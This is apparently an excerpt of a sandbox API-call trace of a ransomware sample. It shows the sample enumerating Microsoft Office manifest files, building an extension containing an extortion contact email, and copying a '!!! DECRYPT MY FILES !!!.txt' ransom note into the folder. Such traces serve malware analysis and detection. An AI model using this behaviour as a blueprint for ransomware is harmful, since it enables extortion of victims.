hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834f7581, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834f7581, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5e91c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", cAlternateFileName="APA05A~1.XML")) returned 1 [0120.481] SysReAllocStringLen (in: pbstr=0x6ebf0d0*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 1 [0120.481] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml") returned 0x68 [0120.481] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.481] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.481] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.481] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.481] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe074, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0120.481] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe070, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0120.482] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebeddc | out: lpFindFileData=0x6ebeddc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x831d63af, dwReserved1=0x1d327e7, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5380 [0120.482] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0120.482] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0120.484] GetProcessHeap () returned 0x630000 [0120.484] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x140) returned 0x66a3e0 [0120.484] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8351d7a8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8351d7a8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", cAlternateFileName="APAD0B~1.XML")) returned 1 [0120.485] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 1 [0120.485] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml") returned 0x68 [0120.485] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.485] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.485] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.485] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.485] GetProcessHeap () returned 0x630000 [0120.485] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x144) returned 0x66a3e0 [0120.485] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc3863, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", cAlternateFileName="APEDE2~1.XML")) returned 1 [0120.485] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 1 [0120.485] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml") returned 0x68 [0120.485] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.486] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.486] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.486] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.486] GetProcessHeap () returned 0x630000 [0120.486] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x148) returned 0x66a3e0 [0120.486] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP51DE~1.XML")) returned 1 [0120.486] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 1 [0120.486] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml") returned 0x68 [0120.486] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.486] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.486] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.486] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.487] GetProcessHeap () returned 0x630000 [0120.487] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x14c) returned 0x66a3e0 [0120.487] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83485006, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83485006, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x79381, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~4.XML")) returned 1 [0120.487] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 1 [0120.487] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml") returned 0x68 [0120.487] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.487] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.487] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.487] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.487] GetProcessHeap () returned 0x630000 [0120.487] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x150) returned 0x66a3e0 [0120.487] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ecd099, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", cAlternateFileName="APCEE5~1.XML")) returned 1 [0120.487] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 1 [0120.488] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml") returned 0x68 [0120.488] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.488] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.488] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.488] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.488] GetProcessHeap () returned 0x630000 [0120.488] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x154) returned 0x66a3e0 [0120.488] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3df10, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP557F~1.XML")) returned 1 [0120.488] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 1 [0120.488] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml") returned 0x68 [0120.488] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.488] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.488] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.489] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.489] GetProcessHeap () returned 0x630000 [0120.489] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x158) returned 0x66a3e0 [0120.489] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", cAlternateFileName="APE193~1.XML")) returned 1 [0120.489] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 1 [0120.489] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml") returned 0x68 [0120.489] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.489] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.489] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.489] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.489] GetProcessHeap () returned 0x630000 [0120.489] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x15c) returned 0x66a3e0 [0120.489] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x112a4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", cAlternateFileName="APC1E2~1.XML")) returned 1 [0120.490] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 1 [0120.490] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml") returned 0x68 [0120.490] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.490] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.490] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.490] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.490] GetProcessHeap () returned 0x630000 [0120.490] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x160) returned 0x66a3e0 [0120.490] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4bfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", cAlternateFileName="APC422~1.XML")) returned 1 [0120.490] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 1 [0120.490] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml") returned 0x68 [0120.490] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.490] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.491] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.491] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.491] GetProcessHeap () returned 0x630000 [0120.491] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x164) returned 0x66a3e0 [0120.491] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xba5e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP2169~1.XML")) returned 1 [0120.491] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 1 [0120.491] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml") returned 0x68 [0120.491] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.491] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.491] SysReAllocStringLen (in: 